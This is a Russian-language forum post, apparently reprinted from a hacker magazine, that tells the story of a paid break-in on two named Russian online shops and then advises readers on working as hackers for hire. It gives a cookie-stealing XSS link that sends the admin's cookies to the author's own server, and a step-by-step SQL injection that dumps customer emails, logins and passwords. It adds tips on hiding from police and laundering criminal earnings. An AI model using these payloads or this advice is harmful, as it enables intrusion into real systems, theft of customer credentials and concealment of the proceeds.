Хакер по найму - Взламываем на заказ

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
386
Points
83
Ты когда-нибудь задумывался над тем, как профессиональные хакеры зарабатывают себе на жизнь? Я думаю, не стоит и говорить, что в нелегальной среде крутятся очень большие деньги, которые зачастую превышают годовые бюджеты некоторых стран мира. Тебе наверняка надоело ходить в рваных джинсах, грызть сухарики и запивать их второсортным пивом, да к тому же выслушивать постоянные жалобы от собственной девушки о том, что она хочет новую юбку и колье за $1000. Поверь, все можно изменить при помощи прямых рук и своих мозгов. И я покажу тебе, как это сделать.

Реальная история из виртуальной жизни

Однажды ко мне в асю постучался человек с предложением о сотрудничестве. Оказалось, что ему нужен был доступ к базам нескольких интернет-магазинов в доменной зоне .ru. Обсудив детали заказа и сумму моего гонорара, я согласился. Одним из условий клиента было обязательное прохождение теста, который заключался в получении БД с любого из двух предоставленных мне ру-шопов в течение 4-х суток. Тест полностью оплачивался заказчиком, и это меня устраивало.

На следующий день, проверяя мыло, я обнаружил мессагу с веб-адресами интернет-магазов и напоминанием о том, что время пошло. Недолго думая, я запустил Оперу и зашел на первый из двух сайтов - www.003.ru. Наполнение ресурса меня мало интересовало, и я сразу приступил к осмотру «пациента». Окинув взглядом индекс сайта, в глаза бросилась ссылка на форум, который, увы, был предусмотрительно пропатчен. Все данные в формах жестко фильтровались, и меня посылали идти лесом. Тогда я вспомнил про функцию поиска по сайту и решил попытать счастья там. В моей практике уже не раз встречались качественно написанные движки с бажными поисковиками, поэтому надежда на благоприятный исход дела не покидала меня. Я вбил в формочку поиска запрос вида:

Code:
<script>alert('xss')</script>

Потом нажал Enter, после чего браузер отобразил приветливое окошечко alert с надписью 'xss'. Это означало лишь одно: уязвимость есть и ее необходимо использовать. Я взглянул на адресную строку:

http://www.003.ru/find/1.html?findstring=<script..

Значение параметра findstring позволяло мне выполнить произвольный javascript-код:

http://www.003.ru/find/1.html?findstring=мой_javascri..

Я быстренько накатал небольшой снифер на php, залил его на один из своих серверов и сформировал «ядовитый» линк для админа:

http://www.003.ru/find/1.html?findstring=<script>document.location="http://my_server.com/snif.php?"+document.cookie</script>&partition=

Где my_server.com - урл моего сервера, а snif.php - php-снифер. Затем при помощи функции bin2hex() в php я закодировал линк и отправил его в письме на мыло админу.

Прошло двое суток, а кукисы не прилетали. Ждать дальше было нельзя. На выполнение заказа у меня оставалось ровно 2 дня. Открыв браузер и набрав в адресной строке www.elson.ru, я принялся изучать сайт второго шопа. Приметив функцию поиска по сайту, я немедленно проверил ее на прочность и не прогадал. Поисковик и на этом сайте был подвержен xss:

http://www.elson.ru/cgi-bin/search....ascript-%EA%EE%E4&mode=catalog_search&x=0&y=0

Но, учитывая печальный опыт с реализацией xss на www.003.ru, я решил отложить баг до худших времен и осмотреть ресурс подробнее. Каталог товаров отображался в обычных html-страницах, а вот личный кабинет был написан на перле. Заинтересовавшись perl-движком, я начал «тестировать» его на прочность. Но, проверив скрипты регистрации и личного кабинета, я был вынужден отступить. Однако через некоторое время обратил внимание на раздел «рассчитать доставку», в котором предлагалось заполнить три формы. После недолгих экспериментов со значениями полей скрипт ругнулся и выдал ошибку:

Code:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND weight_till>=1' limit 1' at line 1

SQL: SELECT weight_from, weight_till FROM elson_cpcr_pay_row WHERE weight_from<=1' AND weight_till>=1' limit 1

Оказалось, что скрипт calculator.pl не фильтровал входящие данные из поля «Вес товара», благодаря чему существовала возможность проведения sql-инъекции. Этот факт несомненно обрадовал меня, но напоследок я захотел пройтись по форуму магазина. Как ни странно, он тоже был написан на perl. Изменив значение параметра id в forum_editor.pl, я увидел сообщение:

Code:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND topic.checked=1 GROUP BY topic.id' at line 1

SQL: SELECT topic.subject, topic.description, DATE_FORMAT(topic.topic_date, '%d/%m/%Y %T'), topic.fio, topic.email FROM elson_forum_topic AS topic WHERE topic.id=? AND topic.checked=1 GROUP BY topic.id

Вот и еще одна sql-injection проявила себя. Но в отличие от первой инъекции, где данные из html-формы передавались методом post, во втором случае использовался метод GET, что облегчало составление запросов к базе. Поэтому было решено использовать именно уязвимость в движке форума. Первым делом я проверил права для доступа к таблице пользователей MySQL:

http://www.elson.ru/cgi-bin/forum_e...d=-1+union+select+*+from+mysql.user/*&s_text=

На что получил отрицательный ответ:

Code:
SELECT command denied to user: '[email protected]' for table 'user'

В такой ситуации мне ничего не оставалось делать, как попробовать подобрать количество полей. Поиграв с багой несколько минут, я достиг желаемого результата при помощи запроса:

http://www.elson.ru/cgi-bin/forum_e...ion+select+null,null,null,null,null/*&s_text=

Далее нужно было получить название таблицы в БД. После недолгих раздумий я указал «elson_users»:

http://www.elson.ru/cgi-bin/forum_e...=-1+union+select+*+from+elson_users/*&s_text=

Ответ MySQL не заставил себя ждать:

Code:
The used SELECT statements have a different number of columns

Ура! Значит, таблица «elson_users» действительно существует. И я догадывался, какая информация находится в ней. Оставалось только извлечь данные юзеров. Но для этого мне нужно было знать названия полей в таблице. Я не стал себя сильно утруждать и ввел «email», сам запрос выглядел так:

http://www.elson.ru/cgi-bin/forum_e...lect+1,email,3,4,5+from+elson_users/*&s_text=

Спустя пару секунд у меня был список мыльников всех юзеров ру-шопа. Инъекция превосходно работала. Я поменял название поля на «login»:

http://www.elson.ru/cgi-bin/forum_e...lect+1,login,3,4,5+from+elson_users/*&s_text=

И извлек базу логинов пользователей. Затем аналогичным образом я составил запрос на получение паролей юзеров, который успешно выполнился:

http://www.elson.ru/cgi-bin/forum_e...t+1,password,3,4,5+from+elson_users/*&s_text=

Проблема заключалась лишь в том, чтобы совместить извлеченные логины и пароли. Но и она была решена при помощи простого php-скрипта.

Таким образом, я успешно выполнил тестовый взлом в срок и приобрел постоянного клиента, который еще не раз обращался ко мне с подобными заказами. Но это уже совсем другая история.

Работаем на заказ

Как ты уже понял из вышеописанного мной примера, взлом на заказ - дело хлопотное, но вполне реальное. Главное - помнить несколько основных правил, с которыми я тебе сейчас познакомлю:

Старайся объективно оценивать свои возможности. Не берись за заказ, шансы на выполнение которого близки к нулю. В таком случае ты потратишь впустую и свое время, и время клиента, что негативно отразится на твоей репутации.
Остерегайся кидал! Проверяй данные заказчика по онлайн-базам рипперов (например, www.kidala.info). В сомнительных ситуациях работай через гарант (комиссия, как правило, составляет около 5% при сделках до $500 и около 7% при сделках свыше $500).
Никогда не работай по предоплате, бери деньги только после успешного выполнения заказа! И вот почему. Известны случаи, когда человека попросту подставляли по очень простой схеме. Однажды к одному из моих друзей обратился клиент, который предложил ему заказ и сразу оплатил его выполнение. Друг, естественно, согласился и буквально через час был добавлен в блэк-лист — мол, деньги взял, а заказ не выполнил. Другу повезло, благодаря широким связям в андеграунде и чистому имени его убрали из списка кидал, но осадок в душе остался. Не повторяй чужих ошибок.
Всегда реально оценивай сроки выполнения заказа. Если клиент настаивает на 2-х днях, а ты понимаешь, что за это время ты не успеешь развернуть фронт работ, - лучше откажись. Не думай, что ты сможешь «вкалывать» по 24 часа в сутки без перерыва на сон и отдых. Даже я сплю минимум по 4 часа в день, не смотря на мой опыт и привыкший к бессонным ночам организм. Взлом требует максимальной концентрации, которая невозможна после пяти суток безотрывного сидения за монитором. 5. Никогда не завышай и не занижай цену заказа. В первом случае ты потеряешь клиента, а во втором - останешься без денег. Здесь нужна «золотая середина». Создать единый прайс с расценками на услуги по взлому не представляется возможным, так как на сумму оплаты влияют многие факторы: сложность выполнения, сроки и т.д. Скажу лишь, что обычный веб-шелл с nobody-правами можно приобрести на сайте за $10, в то время как цена за БД с крупного финансового ресурса или хостинга может достигать нескольких тысяч американских рублей.

«Правила - это хорошо, - скажешь ты. - Но где получить заказ?». Думаю, ответ в стиле «прямо и налево» тебя вряд ли устроит :). Поэтому едем дальше. Вообще, множество заказов распределяется на известных форумах, большая часть из которых является приватными. Поэтому, если твой авторитет не так высок, чтобы тусить на закрытых порталах, тебе придется какое-то время работать на паблик-форумах (например, на www.hackzona.ru или web-hack.ru). Со временем люди сами станут обращаться к тебе, но это напрямую зависит от твоей репутации. Ведь не зря говорят: «Профессионализм - это когда не ты ищешь работу, а работа — тебя». Еще одним важным аспектом является наша безопасность, которой, к слову, много не бывает. Так что помни следующее:

Анонимность в сети необходимо сохранять всегда и везде. Как это сделать, объяснялось уже много раз (почитай подшивку «Хакера»).
Шифруй все данные у себя на винте. Никогда нельзя исключать тот факт, что за тобой придут люди в погонах и конфискуют твое имущество. Это, так сказать, издержки нашей профессии.
Избегай контактов в реале. Информация о заказах всегда должна оставаться по ту сторону монитора. В противном случае ты можешь в короткий срок сменить свое место проживания на следственный изолятор. Цени смысл пословицы: «Молчание - золото».
Итак, с теорией ознакомились. Пора переходить к активным действиям. Допустим, ты взял заказ и успешно его выполнил. Клиент доволен и жаждет оплатить твои услуги. Вот здесь — стоп. Одно дело — заработать деньги, а другое - воспользоваться ими и остаться при этом на свободе. Если рассматривать это с юридической точки зрения, то ты получаешь деньги за совершенное преступление. Поэтому очень важно обналичить деньги тихо и незаметно. Большинство финансовых операций в рунете совершается через webmoney. Заведи себе отдельный кипер под гонорары от заказов и не свети на нем свой реальный IP-адрес. Рекомендую лайт-версию кошелька (читай в соседней статье про то, что может пропалить WmKeeper. — Прим. ред.). Изучи принцип работы других платежных систем, обрати внимание на возможность вывода средств и указание личных данных. Кроме того, при необходимости обналичивания «грязных» денег советую воспользоваться специальными сервисами, которые работают под 40-50% от первоначальной суммы. Вариантов здесь не так уж и много, но они есть.

Вот и все. На этом курс по «трудоустройству» можно считать оконченным. Как говорил вождь революции: «Работать, работать и еще раз работать!».

Напоследок хотелось бы заметить, что хакинг - это, в первую очередь, образ жизни, а потом уже все остальное. Если ты решил просто заработать денег, то можешь идти торговать пирожками на рынке — в хакинге тебе делать нечего.

DANGER

Внимание! Все действия взломщика противозаконны! Информация предоставлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

INFO

Никогда не сдавайся морально. Не смотря на облом с реализацией XSS на первом сайте, я успешно слил базу со второго.
 
Top